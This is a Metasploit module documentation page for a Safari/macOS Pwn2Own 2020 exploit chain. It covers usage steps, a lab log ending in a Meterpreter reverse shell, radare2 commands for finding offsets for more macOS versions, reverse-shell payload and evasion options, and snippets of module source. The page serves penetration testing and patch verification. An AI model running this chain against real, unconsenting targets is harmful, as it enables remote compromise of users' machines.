Safari in Operator Side Effect Exploit - Metasploit
This page contains detailed information about how to use the exploit/osx/browser/safari_in_operator_side_effect metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Safari in Operator Side Effect Exploit
Module: exploit/osx/browser/safari_in_operator_side_effect
Source code: modules/exploits/osx/browser/safari_in_operator_side_effect.rb
Disclosure date: 2020-03-18
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-9801, CVE-2020-9850, CVE-2020-9856
This module exploits an incorrect side-effect modeling of the 'in' operator. The DFG compiler assumes that the 'in' operator is side-effect free, however the <embed> element with the PDF plugin provides a callback that can trigger side-effects leading to type confusion (CVE-2020-9850). The type confusion can be used as addrof and fakeobj primitives that then lead to arbitrary read/write of memory. These primitives allow us to write shellcode into a JIT region (RWX memory) containing the next stage of the exploit. The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server, and extracts a macOS application containing our payload into /var/db/CVMS. The payload can then be opened with CVE-2020-9801, executing the payload as a user but without sandbox restrictions.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/osx/browser/safari_in_operator_side_effect
msf exploit(safari_in_operator_side_effect) > exploit
Knowledge Base
Vulnerable Application
This module exploits an incorrect side-effect modeling of the 'in' operator.
The DFG compiler assumes that the 'in' operator is side-effect free, however
the <embed> element with the PDF plugin provides a callback that can trigger
side-effects leading to type confusion (CVE-2020-9850).
The type confusion can be used as addrof and fakeobj primitives that then lead to arbitrary read/write of memory. These primitives allow us to write shellcode into a JIT region (RWX memory) containing the next stage of the exploit.
The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server, and extracts a macOS application containing our payload into /var/db/CVMS. The payload can then be opened with CVE-2020-9801, executing the payload as a user but without sandbox restrictions.
Verification Steps
- Start
msfconsole use exploit/osx/browser/safari_in_operator_side_effectset LHOST <tab>set SRVHOST <tab>exploit- Visit the URL on a vulnerable version of Safari
Scenarios
macOS Catalina 10.15.4
msf6 > use exploit/osx/browser/safari_in_operator_side_effect
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set URIPATH /
URIPATH => /
msf6 exploit(osx/browser/safari_in_operator_side_effect) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(osx/browser/safari_in_operator_side_effect) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.4 safari_in_operator_side_effect - Request / from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
[+] 192.168.56.4 safari_in_operator_side_effect - Safari version 13.1 appears to be vulnerable
[*] 192.168.56.4 safari_in_operator_side_effect - Request /LmcM.pdf from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.56.4
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.4:49409) at 2020-09-04 15:05:52 +0800
Adding offsets for new versions
Although all macOS versions below 10.15.4 are vulnerable, some versions are not supported. It may be possible to add support for a vulnerable version by adding new offsets. The following commands can be used to gather some of these offsets:
brew install radare2
r2 /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/JavaScriptCore -2qQ -c 'af; s sym.imp.confstr; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym._confstr; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlsym; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlopen; s'
You can then add the offsets to the module:
modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb
You may also need to adjust the offsets here:
external/source/exploits/CVE-2020-9850/payload/sbx/safari.mm:53
Please don't forget to contribute the offsets back to the framework if you have successfully tested them.
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Msfconsole Usage
Here is how the osx/browser/safari_in_operator_side_effect exploit module looks in the msfconsole:
msf6 > use exploit/osx/browser/safari_in_operator_side_effect
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/browser/safari_in_operator_side_effect) > show info
Name: Safari in Operator Side Effect Exploit
Module: exploit/osx/browser/safari_in_operator_side_effect
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2020-03-18
Provided by:
Yonghwi Jin <[email protected]>
Jungwon Lim <[email protected]>
Insu Yun <[email protected]>
Taesoo Kim <[email protected]>
timwr
Available targets:
Id Name
-- ----
0 Mac OS X x64 (Native Payload)
1 Python payload
2 Command payload
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits an incorrect side-effect modeling of the 'in'
operator. The DFG compiler assumes that the 'in' operator is
side-effect free, however the <embed> element with the PDF plugin
provides a callback that can trigger side-effects leading to type
confusion (CVE-2020-9850). The type confusion can be used as addrof
and fakeobj primitives that then lead to arbitrary read/write of
memory. These primitives allow us to write shellcode into a JIT
region (RWX memory) containing the next stage of the exploit. The
next stage uses CVE-2020-9856 to exploit a heap overflow in CVM
Server, and extracts a macOS application containing our payload into
/var/db/CVMS. The payload can then be opened with CVE-2020-9801,
executing the payload as a user but without sandbox restrictions.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-9801
https://nvd.nist.gov/vuln/detail/CVE-2020-9850
https://nvd.nist.gov/vuln/detail/CVE-2020-9856
https://github.com/sslab-gatech/pwn2own2020
Module Options
This is a complete list of options available in the osx/browser/safari_in_operator_side_effect exploit:
msf6 exploit(osx/browser/safari_in_operator_side_effect) > show options
Module options (exploit/osx/browser/safari_in_operator_side_effect):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
Exploit target:
Id Name
-- ----
0 Mac OS X x64 (Native Payload)
Advanced Options
Here is a complete list of advanced options supported by the osx/browser/safari_in_operator_side_effect exploit:
msf6 exploit(osx/browser/safari_in_operator_side_effect) > show advanced
Module advanced options (exploit/osx/browser/safari_in_operator_side_effect):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DEBUG_EXPLOIT false no Show debug information in the exploit javascript
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/browser/safari_in_operator_side_effect module can exploit:
msf6 exploit(osx/browser/safari_in_operator_side_effect) > show targets
Exploit targets:
Id Name
-- ----
0 Mac OS X x64 (Native Payload)
1 Python payload
2 Command payload
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/safari_in_operator_side_effect exploit:
msf6 exploit(osx/browser/safari_in_operator_side_effect) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/osx/x64/dupandexecve/bind_tcp normal No OS X dup2 Command Shell, Bind TCP Stager
4 payload/osx/x64/dupandexecve/reverse_tcp normal No OS X dup2 Command Shell, Reverse TCP Stager
5 payload/osx/x64/dupandexecve/reverse_tcp_uuid normal No OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
6 payload/osx/x64/exec normal No OS X x64 Execute Command
7 payload/osx/x64/meterpreter/bind_tcp normal No OSX Meterpreter, Bind TCP Stager
8 payload/osx/x64/meterpreter/reverse_tcp normal No OSX Meterpreter, Reverse TCP Stager
9 payload/osx/x64/meterpreter/reverse_tcp_uuid normal No OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
10 payload/osx/x64/meterpreter_reverse_http normal No OSX Meterpreter, Reverse HTTP Inline
11 payload/osx/x64/meterpreter_reverse_https normal No OSX Meterpreter, Reverse HTTPS Inline
12 payload/osx/x64/meterpreter_reverse_tcp normal No OSX Meterpreter, Reverse TCP Inline
13 payload/osx/x64/say normal No OS X x64 say Shellcode
14 payload/osx/x64/shell_bind_tcp normal No OS X x64 Shell Bind TCP
15 payload/osx/x64/shell_reverse_tcp normal No OS X x64 Shell Reverse TCP
Evasion Options
Here is the full list of possible evasion options supported by the osx/browser/safari_in_operator_side_effect exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/browser/safari_in_operator_side_effect) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Safari version <REGEXP.LAST_MATCH-1> is not vulnerable
Here is a relevant code snippet related to the "Safari version <REGEXP.LAST_MATCH-1> is not vulnerable" error message:
439: def get_offsets(user_agent)
440: if user_agent =~ /Intel Mac OS X (.*?)\)/
441: osx_version = Regexp.last_match(1).gsub('_', '.')
442: if user_agent =~ %r{Version/(.*?) }
443: if Rex::Version.new(Regexp.last_match(1)) > Rex::Version.new('13.1')
444: print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
445: return false
446: else
447: print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
448: end
449: end
macOS version <MAC_OSX_VERSION> is not vulnerable
Here is a relevant code snippet related to the "macOS version <MAC_OSX_VERSION> is not vulnerable" error message:
447: print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
448: end
449: end
450: mac_osx_version = Rex::Version.new(osx_version)
451: if mac_osx_version >= Rex::Version.new('10.15.5')
452: print_warning "macOS version #{mac_osx_version} is not vulnerable"
453: elsif mac_osx_version < Rex::Version.new('10.14')
454: print_warning "macOS version #{mac_osx_version} is not supported"
455: elsif offset_table.key?(osx_version)
456: return offset_table[osx_version]
457: else
macOS version <MAC_OSX_VERSION> is not supported
Here is a relevant code snippet related to the "macOS version <MAC_OSX_VERSION> is not supported" error message:
449: end
450: mac_osx_version = Rex::Version.new(osx_version)
451: if mac_osx_version >= Rex::Version.new('10.15.5')
452: print_warning "macOS version #{mac_osx_version} is not vulnerable"
453: elsif mac_osx_version < Rex::Version.new('10.14')
454: print_warning "macOS version #{mac_osx_version} is not supported"
455: elsif offset_table.key?(osx_version)
456: return offset_table[osx_version]
457: else
458: print_warning "No offsets for version #{mac_osx_version}"
459: end
No offsets for version <MAC_OSX_VERSION>
Here is a relevant code snippet related to the "No offsets for version <MAC_OSX_VERSION>" error message:
453: elsif mac_osx_version < Rex::Version.new('10.14')
454: print_warning "macOS version #{mac_osx_version} is not supported"
455: elsif offset_table.key?(osx_version)
456: return offset_table[osx_version]
457: else
458: print_warning "No offsets for version #{mac_osx_version}"
459: end
460: else
461: print_warning 'Unexpected User-Agent'
462: end
463: return false
Unexpected User-Agent
Here is a relevant code snippet related to the "Unexpected User-Agent" error message:
456: return offset_table[osx_version]
457: else
458: print_warning "No offsets for version #{mac_osx_version}"
459: end
460: else
461: print_warning 'Unexpected User-Agent'
462: end
463: return false
464: end
465:
466: def on_request_uri(cli, request)
Payload size (<ROOT_PAYLOAD.LENGTH>) exceeds space in payload placeholder
Here is a relevant code snippet related to the "Payload size (<ROOT_PAYLOAD.LENGTH>) exceeds space in payload placeholder" error message:
501: root_payload = "CMD:echo \"#{payload.encoded}\" | python"
502: when ARCH_CMD
503: root_payload = "CMD:#{payload.encoded}"
504: end
505: if root_payload.length > 1024
506: fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"
507: end
508: placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')
509: stage2[placeholder_index, root_payload.length] = root_payload
510: payload_js = <<~JS
511: const stage0 = [
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13996 Merged Pull Request: Add module for CVE-2020-9801, CVE-2020-9850 and CVE-2020-9856, RCE for Safari on macOS 10.15.3 (pwn2own2020)
References
See Also
Check also the following modules related to this module:
- exploit/osx/browser/safari_file_policy
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/safari_user_assisted_download_launch
- exploit/osx/browser/adobe_flash_delete_range_tl_op
- exploit/osx/browser/mozilla_mchannel
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/browser/software_update
- auxiliary/gather/safari_file_url_navigation
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/safari_libtiff
- exploit/windows/browser/safari_xslt_output
- post/osx/gather/safari_lastsession
- exploit/multi/browser/chrome_jscreate_sideeffect
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/apple_safari_webarchive_uxss
- post/windows/gather/credentials/safari
- exploit/osx/afp/loginext
- exploit/osx/local/dyld_print_to_file_root
- exploit/osx/local/timemachine_cmd_injection
- exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
- exploit/windows/misc/vmhgfs_webdav_dll_sideload
Related Nessus plugins:
- Apple iOS < 13.5 Multiple Vulnerabilities
- macOS 10.15.x < 10.15.5 / 10.14.x < 10.14.6 Security Update 2020-003 / 10.13.x < 10.13.6 Security Update 2020-003
- Fedora 32 : webkit2gtk3 (2020-ab074c6cdf)
- Ubuntu 18.04 LTS / 19.10 / 20.04 : WebKitGTK+ vulnerabilities (USN-4422-1)
- Debian DSA-4724-1 : webkit2gtk - security update
- Fedora 31 : webkit2gtk3 (2020-d2736ee493)
- SUSE SLED15 / SLES15 Security Update : webkit2gtk3 (SUSE-SU-2020:1990-1)
- SUSE SLED15 / SLES15 Security Update : webkit2gtk3 (SUSE-SU-2020:1992-1)
- GLSA-202007-11 : WebKitGTK+: Multiple vulnerabilities
- openSUSE Security Update : webkit2gtk3 (openSUSE-2020-1064)
Authors
- Yonghwi Jin <jinmoteam[at]gmail.com>
- Jungwon Lim <setuid0[at]protonmail.com>
- Insu Yun <insu[at]gatech.edu>
- Taesoo Kim <taesoo[at]gatech.edu>
- timwr
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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